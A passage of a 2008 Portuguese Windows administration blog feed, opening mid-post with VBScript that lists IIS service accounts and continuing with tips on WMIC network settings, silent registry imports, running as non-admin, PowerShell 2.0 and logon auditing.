&lt;br /&gt;&amp;#160;&amp;#160; wscript.echo &amp;quot;AppPoolName: &amp;quot; &amp;amp; app.Name       &lt;br /&gt;&amp;#160;&amp;#160; wscript.echo &amp;quot;AppPoolUser: &amp;quot; &amp;amp; app.WAMUserName      &lt;br /&gt;&amp;#160;&amp;#160; wscript.echo      &lt;br /&gt;next&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;As contas usadas para acesso anônimo no IIS também devem ser verificadas:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;if WScript.Arguments.Count &amp;gt; 0 then     &lt;br /&gt;&amp;#160;&amp;#160; strComputer= WScript.Arguments(0)      &lt;br /&gt;else      &lt;br /&gt;&amp;#160;&amp;#160; strComputer = &amp;quot;.&amp;quot;      &lt;br /&gt;end if      &lt;br /&gt;set objWMI = GetObject(&amp;quot;winmgmts:\\&amp;quot; &amp;amp; strComputer &amp;amp; &amp;quot;\root\MicrosoftIISv2&amp;quot;) &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;set objDic = CreateObject(&amp;quot;Scripting.Dictionary&amp;quot;)     &lt;br /&gt;set websites = objWMI.ExecQuery(&amp;quot;Select * from IISWebServerSetting&amp;quot;)      &lt;br /&gt;for each website in websites      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; objDic.Add right(website.name, len(website.name) - instrrev(website.name,&amp;quot;/&amp;quot;)), website.servercomment      &lt;br /&gt;next &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;set colAppPools = objWMI.ExecQuery(&amp;quot;Select * from IISWebDirectorySetting&amp;quot;)     &lt;br /&gt;for each app in colAppPools      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; print_obj app      &lt;br /&gt;next &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;set colAppPools = objWMI.ExecQuery(&amp;quot;Select * from IISWebVirtualDirSetting&amp;quot;)     &lt;br /&gt;for each app in colAppPools      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; print_obj app      &lt;br /&gt;next &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;sub print_obj(app)     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; ini = instr(app.name,&amp;quot;/&amp;quot;)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; fim = instr(ini+1, app.name, &amp;quot;/&amp;quot;)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; tag = mid(app.name, ini+1, fim-ini-1)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; wscript.echo &amp;quot;SiteName: &amp;quot; &amp;amp; objdic.item(tag)      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; wscript.echo &amp;quot;Fullname: &amp;quot; &amp;amp; app.name      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; wscript.echo &amp;quot;AppPoolUser: &amp;quot; &amp;amp; app.AnonymousUserName      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; wscript.echo      &lt;br /&gt;end sub&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Não é possível obter contas de usuário usadas em tarefas agendadas usando WMI/at (rodam com conta localsystem) ou pelo schtasks. Essa verificação deve ser manual, abrindo as propriedades de cada uma das tarefas que aparecem na interface (&lt;a href="http://www.microsoft.com/technet/scriptcenter/guide/sas_man_lpja.mspx?mfr=true"&gt;http://www.microsoft.com/technet/scriptcenter/guide/sas_man_lpja.mspx?mfr=true&lt;/a&gt; e &lt;a href="http://www.microsoft.com/technet/scriptcenter/resources/qanda/sept04/hey0922.mspx"&gt;http://www.microsoft.com/technet/scriptcenter/resources/qanda/sept04/hey0922.mspx&lt;/a&gt;). As coisas só mudam no Windows Vista e 2008. &lt;/p&gt;  &lt;p&gt;Ah, a troca da senha também pode ser feita via script, claro =). Mas isso é só procurar aqui mesmo no site que já tem pronto.&lt;/p&gt;  &lt;p&gt;[]s,&lt;/p&gt;  &lt;p&gt;Vinicius Canto&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5261976441368059220?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5261976441368059220/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5261976441368059220&amp;isPopup=true' title='3 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5261976441368059220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5261976441368059220'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/08/checklist-para-alterao-de-senhas-no.html' title='Checklist para alteração de senhas no Windows'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-5101856198167930093</id><published>2008-07-31T15:37:00.001-03:00</published><updated>2008-08-12T11:44:18.836-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wmi'/><title type='text'>Configurando a rede com uma ou duas linhas com WMI</title><content type='html'>&lt;p&gt;Dica para quem usa constantemente um grupo de redes (wifi no trabalho e em casa por exemplo) e não quer usar o recurso de &lt;em&gt;profiles &lt;/em&gt;do Vista e Windows 2008 para configurar a rede:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;WMIC NICCONFIG WHERE Index=1 CALL EnableStatic (&amp;quot;10.0.0.2&amp;quot;),(&amp;quot;255.0.0.0&amp;quot;)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;WMIC NICCONFIG WHERE Index=1 CALL SetGateways (&amp;quot;10.0.0.8&amp;quot;,&amp;quot;10.0.0.9&amp;quot;),(1,2)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;WMIC NICCONFIG WHERE Index=1 CALL EnableDHCP&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Se quiser saber um valor válido para o parâmetro Index, basta digitar &lt;strong&gt;WMIC NICCONFIG GET INDEX,CAPTION&lt;/strong&gt; sem parâmetros. &lt;/p&gt;  &lt;p&gt;As mesmas linhas acima funcionam para configurar a rede remotamente. Basta colocar o parâmetro &lt;strong&gt;/NODE:nome_ou_ip_do_computador&lt;/strong&gt; logo após o comando WMIC. &lt;/p&gt;  &lt;p&gt;Estes comandos funcionam no CMD e PowerShell, bem como arquivos .bat, .cmd e .ps1. Dá pra colocar também em VBS com algumas modificações.&lt;/p&gt;  &lt;p&gt;Abraço pessoal,&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-5101856198167930093?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/5101856198167930093/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=5101856198167930093&amp;isPopup=true' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5101856198167930093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/5101856198167930093'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/07/configurando-rede-com-uma-ou-duas.html' title='Configurando a rede com uma ou duas linhas com WMI'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2959475886538166630</id><published>2008-07-03T08:18:00.001-03:00</published><updated>2008-07-03T08:18:00.952-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Beta Exam'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server'/><title type='text'>Beta Exam: 71-432: MS SQL Server 2008, Implementation and Maintenance</title><content type='html'>&lt;p&gt;Olá,&lt;/p&gt;  &lt;p&gt;uma das coisas que eu vou começar a escrever aqui no blog é sobre exames beta. Pra quem não sabe, uma prova beta é uma prova que ainda está sendo testada. Ela pode ser feita gratuitamente, e, caso você seja aprovado, ganhará a certificação da prova oficial correspondente (70-xxx).&lt;/p&gt;  &lt;p&gt;Aqui vai a primeira (ou segunda, se considerarmos que eu esqueci de avisar sobre a primeira prova beta que eu fiz), sobre SQL Server 2008. A prova 71-432 &lt;b&gt;TS: MS SQL Server 2008, Implementation and Maintenance&lt;/b&gt;, continuará valendo até o final de Julho. O código para registro gratuito no site da Prometric é 943F6.&lt;/p&gt;  &lt;p&gt;Fonte: &lt;a href="http://www.kodyaz.com/blogs/software_development_blog/archive/2008/07/02/2896.aspx"&gt;http://www.kodyaz.com/blogs/software_development_blog/archive/2008/07/02/2896.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Pontos cobrados na prova: &lt;a href="http://www.microsoft.com/learning/en/us/exams/70-432.mspx"&gt;ttp://www.microsoft.com/learning/en/us/exams/70-432.mspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-2959475886538166630?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/2959475886538166630/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=2959475886538166630&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2959475886538166630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/2959475886538166630'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/07/beta-exam-71-432-ms-sql-server-2008.html' title='Beta Exam: 71-432: MS SQL Server 2008, Implementation and Maintenance'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1396983194920896610</id><published>2008-07-01T20:14:00.001-03:00</published><updated>2008-07-01T20:14:37.461-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mvp'/><title type='text'>MVP Award: Terceiro ano consecutivo!</title><content type='html'>&lt;p&gt;Olá pessoal,&lt;/p&gt;  &lt;p&gt;estou aqui hoje para agradecer. Agradecer à todo mundo, sejam os leitores do blog, pessoas que contribuem com dúvidas interessantes para que eu escreva aqui, meus amigos que contribuem com idéias, minha família e todos que direta ou indiretamente participam de alguma forma do meu mundo. Obrigado! Foi com a ajuda de vocês que eu continuei ajudando pessoas nos fóruns, listas de emails, grupos de discussão, e, pelo terceiro ano consecutivo, fui premiado pelo programa MVP da Microsoft.&lt;/p&gt;  &lt;p&gt;Para quem não conhece o que significa ser um MVP, aqui vai um link muito legal: &lt;a title="http://www.microsoft.com/brasil/mvp/overview.mspx" href="http://www.microsoft.com/brasil/mvp/overview.mspx"&gt;http://www.microsoft.com/brasil/mvp/overview.mspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Até logo! E nesse novo ciclo, prometo atualizar o layout do blog, tornar a busca de informações aqui mais fácil e ainda colocar tags de uma forma mais coerente.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Vinicius&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1396983194920896610?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1396983194920896610/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1396983194920896610&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1396983194920896610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1396983194920896610'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/07/mvp-award-terceiro-ano-consecutivo.html' title='MVP Award: Terceiro ano consecutivo!'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6321060033590574445</id><published>2008-05-19T23:08:00.001-03:00</published><updated>2008-05-19T23:08:18.176-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='windows script host'/><title type='text'>Script em VBS salva usuários com computadores HP</title><content type='html'>&lt;p&gt;Ol&amp;#225;,&lt;/p&gt;  &lt;p&gt;esta &amp;#233; engra&amp;#231;ada: um simples script em VBS &amp;quot;salva&amp;quot; usu&amp;#225;rios de computadores HP.&lt;/p&gt;  &lt;p&gt;Agora a vers&amp;#227;o verdadeira: o Service Pack 3 do Windows XP, rec&amp;#233;m lan&amp;#231;ado, causou um problema em determinados computadores da HP. O problema &amp;#233; uma incompatibilidade entre um driver e o service pack, provavelmente por falha no c&amp;#243;digo do driver, que fazia com que o micro reiniciasse constantemente.&lt;/p&gt;  &lt;p&gt;Um ex-funcion&amp;#225;rio da MS entrou em cena e lan&amp;#231;ou, antes da MS e da HP, um &amp;quot;patch&amp;quot; para &amp;quot;corrigir&amp;quot; o problema: um script que usa o VBScript e Windows Script Host que verifica se o computador possui um processador AMD, se possui um driver, e questiona o que o usu&amp;#225;rio quer fazer, desabilitar ou n&amp;#227;o o driver.&lt;/p&gt;  &lt;p&gt;Mais em &lt;a title="http://www.computerweekly.com/Articles/2008/05/19/230735/hp-xp-sp3-users-offered-unofficial-patch-to-solve-reboot.htm" href="http://www.computerweekly.com/Articles/2008/05/19/230735/hp-xp-sp3-users-offered-unofficial-patch-to-solve-reboot.htm"&gt;http://www.computerweekly.com/Articles/2008/05/19/230735/hp-xp-sp3-users-offered-unofficial-patch-to-solve-reboot.htm&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;At&amp;#233; mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6321060033590574445?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6321060033590574445/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6321060033590574445&amp;isPopup=true' title='5 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6321060033590574445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6321060033590574445'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/05/script-em-vbs-salva-usurios-com.html' title='Script em VBS salva usuários com computadores HP'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-8589315952719596778</id><published>2008-05-17T12:36:00.001-03:00</published><updated>2008-05-17T12:36:00.228-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='registro'/><title type='text'>Aplicar arquivo .REG sem pedir confirmação</title><content type='html'>&lt;p&gt;Dica r&amp;#225;pida para quem precisa aplicar um arquivo .REG sem que seja pedida confirma&amp;#231;&amp;#227;o ao usu&amp;#225;rio:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;REGEDIT /S C:\teste\teste.reg&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;At&amp;#233; mais!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-8589315952719596778?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/8589315952719596778/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=8589315952719596778&amp;isPopup=true' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8589315952719596778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/8589315952719596778'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/05/aplicar-arquivo-reg-sem-pedir-confirmao.html' title='Aplicar arquivo .REG sem pedir confirmação'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-6064055372773108800</id><published>2008-05-14T22:33:00.001-03:00</published><updated>2008-05-14T22:33:15.794-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='uac'/><category scheme='http://www.blogger.com/atom/ns#' term='Sistema Operacional'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Running as non-admin</title><content type='html'>&lt;p&gt;Ol&amp;#225;,&lt;/p&gt;  &lt;p&gt;esta &amp;#233; mais uma das mensagens que eu tento passar em quase todas as vezes que falo em palestras, webcasts, ou conversas com amigos mesmo. Trata-se da &lt;strong&gt;necessidade&lt;/strong&gt; (note o negrito, &amp;#233; de prop&amp;#243;sito) de se utilizar o Windows como usu&amp;#225;rio comum, e n&amp;#227;o como administrador. E mais: &lt;strong&gt;corrigir&lt;/strong&gt; as aplica&amp;#231;&amp;#245;es problem&amp;#225;ticas ao inv&amp;#233;s de execut&amp;#225;-las com credenciais de administrador.&lt;/p&gt;  &lt;p&gt;O problema, como &lt;a href="http://viniciuscanto.blogspot.com/2006/08/porque-voc-no-precisa-usar-conta-de.html"&gt;j&amp;#225; expliquei em outro post&lt;/a&gt;, &amp;#233; bem simples: seguran&amp;#231;a. Se voc&amp;#234; utilizar o computador como um administrador, qualquer erro cometido (abrir um anexo suspeito vindo por MSN ou e-mail, por exemplo) pode e vai afetar todo o computador. Com um usu&amp;#225;rio simples, o m&amp;#225;ximo que um v&amp;#237;rus pode fazer &amp;#233; infectar o usu&amp;#225;rio logado e danificar seus arquivos (na pr&amp;#225;tica, todos que o usu&amp;#225;rio tem permiss&amp;#227;o de altera&amp;#231;&amp;#227;o, incluindo o registro). Somente os seus, sem danificar o computador ou outros usu&amp;#225;rios. Isso n&amp;#227;o &amp;#233; 100% seguro, mas diminui bastante o impacto de uma eventual infec&amp;#231;&amp;#227;o por v&amp;#237;rus, al&amp;#233;m de aumentar as chances de recupera&amp;#231;&amp;#227;o dos arquivos (j&amp;#225; que nenhum execut&amp;#225;vel protegido ser&amp;#225; alterado).&lt;/p&gt;  &lt;p&gt;Bom, mas o que h&amp;#225; de novo? Wes Miller, gerente de produto s&amp;#234;nior da CoreTrace (al&amp;#233;m de ex gerente de produto da Winternals Software e da Microsoft), escreveu um &amp;#243;timo artigo na Technet Magazine deste m&amp;#234;s. A mat&amp;#233;ria, na &amp;#237;ntegra, &lt;a href="http://technet.microsoft.com/en-us/magazine/cc462813.aspx"&gt;pode ser lida aqui&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;E ele &amp;#233; t&amp;#227;o categ&amp;#243;rico quanto eu. Veja um trecho do texto dele abaixo:&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h3&gt;Why It Matters&lt;/h3&gt;  &lt;p&gt;So why should you care? Because we, as IT professionals, should begin forcing applications to adjust to least-privileged users, instead of vice versa where applications assume the interactive user owns the system.&lt;/p&gt;  &lt;p&gt;Unfortunately, the same policies that allow administrators to write to registry keys also grant any malware run in their user context full access to anything they have not been explicitly denied via access control lists (ACLs). In the world of UNIX, people follow the rule regarding not running as root (the functional equivalent of the Windows Administrator account), mostly because the ecosystem of software that pushes the boundaries of the security model is tiny to nonexistent.&lt;/p&gt;  &lt;p&gt;Still, the best thing you can do is to follow that same wisdom and only run as an administrator when it is explicitly required&amp;#8212;or better yet, only run individual applications as an administrator. By doing so, you raise that intra-system firewall I mentioned earlier. Then, when malware or spyware attempts to do something it shouldn't, it fails&amp;#8212;because it can't write to the registry or file system locations it needs in order to really infect your system (such as installing a service or driver, or installing for all users). In addition, doing so allows anti-malware software to contain malware that it recognizes, without risking the entire system first.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Bom, se voc&amp;#234;s n&amp;#227;o acreditaram em mim no primeiro post, acho que este &amp;#233; bem mais convincente =).&lt;/p&gt;  &lt;p&gt;Um abra&amp;#231;o e at&amp;#233; logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-6064055372773108800?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/6064055372773108800/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=6064055372773108800&amp;isPopup=true' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6064055372773108800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/6064055372773108800'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/05/running-as-non-admin.html' title='Running as non-admin'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-1506589529105030900</id><published>2008-05-04T23:47:00.001-03:00</published><updated>2008-05-04T23:47:30.009-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powershell'/><title type='text'>Windows PowerShell 2.0 CTP2</title><content type='html'>&lt;p&gt;Ol&amp;#225;,&lt;/p&gt;  &lt;p&gt;a Microsoft disponibilizou recentemente o segundo CTP (Community Technology Preview) do PowerShell 2.0. Ele j&amp;#225; pode ser baixado no link abaixo:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.microsoft.com/downloads/details.aspx?FamilyID=60deac2b-975b-41e6-9fa0-c2fd6aa6bc89&amp;amp;displaylang=en" href="http://www.microsoft.com/downloads/details.aspx?FamilyID=60deac2b-975b-41e6-9fa0-c2fd6aa6bc89&amp;amp;displaylang=en"&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=60deac2b-975b-41e6-9fa0-c2fd6aa6bc89&amp;amp;displaylang=en&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;J&amp;#225; d&amp;#225; pra ver funcionando (e bem) algumas das novidades do v2. Na minha opini&amp;#227;o, o destaque fica pro PowerShell Remoting, que permite trabalhar com outros computadores no PowerShell, e pros novos cmdlets para trabalhar com Active Directory.&lt;/p&gt;  &lt;p&gt;Pra quem assitiu meu webcast sobre PowerShell e Active Directory, aqui est&amp;#225; a surpresa. Eu j&amp;#225; estava testando o CTP2 alguns dias atr&amp;#225;s, mas n&amp;#227;o podia divulgar as novidades... mas est&amp;#225; a&amp;#237;: agora &amp;#233; poss&amp;#237;vel trabalhar ainda mais facilmente com Active Directory no PowerShell.&lt;/p&gt;  &lt;p&gt;A lista completa do que foi alterado pode ser encontrado no link abaixo:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://blogs.msdn.com/powershell/archive/2007/11/06/what-s-new-in-ctp-of-powershell-2-0.aspx" href="http://blogs.msdn.com/powershell/archive/2007/11/06/what-s-new-in-ctp-of-powershell-2-0.aspx"&gt;http://blogs.msdn.com/powershell/archive/2007/11/06/what-s-new-in-ctp-of-powershell-2-0.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;At&amp;#233; logo!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30662693-1506589529105030900?l=viniciuscanto.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viniciuscanto.blogspot.com/feeds/1506589529105030900/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30662693&amp;postID=1506589529105030900&amp;isPopup=true' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1506589529105030900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30662693/posts/default/1506589529105030900'/><link rel='alternate' type='text/html' href='http://viniciuscanto.blogspot.com/2008/05/windows-powershell-20-ctp2.html' title='Windows PowerShell 2.0 CTP2'/><author><name>Vinicius Canto</name><uri>http://www.blogger.com/profile/08550318447737079871</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30662693.post-2935050665573662067</id><published>2008-04-22T01:10:00.001-03:00</published><updated>2008-04-22T01:10:33.710-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbscript'/><category scheme='http://www.blogger.com/atom/ns#' term='windows script host'/><title type='text'>Monitorando Logon e Logoff de usuários na rede</title><content type='html'>&lt;p&gt;Ol&amp;#225;,&lt;/p&gt;  &lt;p&gt;nos &amp;#250;ltimos dias recebi uma d&amp;#250;vida por e-mail muito interessante: como logar as atividades de logon e logoff dos usu&amp;#225;rio?&lt;/p&gt;  &lt;p&gt;A resposta &amp;#233; simples: n&amp;#227;o precisa. O Windows j&amp;#225; possui recursos suficientes para fazer isso nativamente. Basta ativar as diretivas de auditoria de logon e tudo vai pro log de eventos. O trabalho todo ent&amp;#227;o &amp;#233; s&amp;#243; centralizar tudo isso e analisar depois. Voc&amp;#234; pode at&amp;#233; criar um script para isso ou usar o LogParser.&lt;/p&gt;  &lt;p&gt;Se voc&amp;#234; n&amp;#227;o gostou ainda ou n&amp;#227;o tem muita experi&amp;#234;ncia com log de eventos do Windows, pode criar uma coisa mais simples, usando scripts de logon e logoff. O problema, nesse caso, &amp;#233; a perda de perfomance e os riscos inerentes do uso desta t&amp;#233;cnica. Voc&amp;#234; vai entender melhor a seguir.&lt;/p&gt;  &lt;p&gt;Nos dois links abaixo, voc&amp;#234; pode ver uma discuss&amp;#227;o sobre esse assunto e um link para o site do Robert Mueller, MVP, que apresenta um script em VBScript que escreve hora e local de logon dos usu&amp;#225;rios em arquivos texto simples.&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.tutorials-win.com/ActiveDirectory/monitor-users/" href="http://www.tutorials-win.com/ActiveDirectory/monitor-users/"&gt;http://www.tutorials-win.com/ActiveDirectory/monitor-users/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;e&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.rlmueller.net/Logon5.htm" href="http://www.rlmueller.net/Logon5.htm"&gt;http://www.rlmueller.net/Logon5.htm&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Note que, no primeiro link, o pr&amp;#243;prio Robert explica uma terceira alternativa, usando o campo LastLogon que fica no AD. O &amp;#250;nico problema desse campo &amp;#233; que ele n&amp;#227;o &amp;#233; replicado para outros servidores, e fica armazenado somente no servidor em que o usu&amp;#225;rio efetuou logon.&lt;/p&gt;  &lt;p&gt;Ok, mas qual o problema de usar um arquivo texto para guardar esse tipo de informa&amp;#231;&amp;#227;o? Seguran&amp;#231;a. No meu ponto de vista, esta &amp;#233; uma solu&amp;#231;&amp;#227;o simples, para ser utilizada somente em situa&amp;#231;&amp;#245;es pequenas que n&amp;#227;o necessitam um controle muito r&amp;#237;gido dessas informa&amp;#231;&amp;#245;es. Digo isso por uma quest&amp;#227;o l&amp;#243;gica: como &amp;#233; o script de logon que escreve no arquivo TXT e script de logon roda no contexto do usu&amp;#225;rio logado, podemos concluir que o usu&amp;#225;rio precisa ter direito de escrita no arquivo. Nem que seja somente Append (adicionar dados no final do arquivo), mas ele tem que ter permiss&amp;#227;o. Isso abre possibilidade para um usu&amp;#225;rio mais esperto atacar o sistema de duas formas: 1 - inundando o log com entradas inv&amp;#225;lidas; 2 - 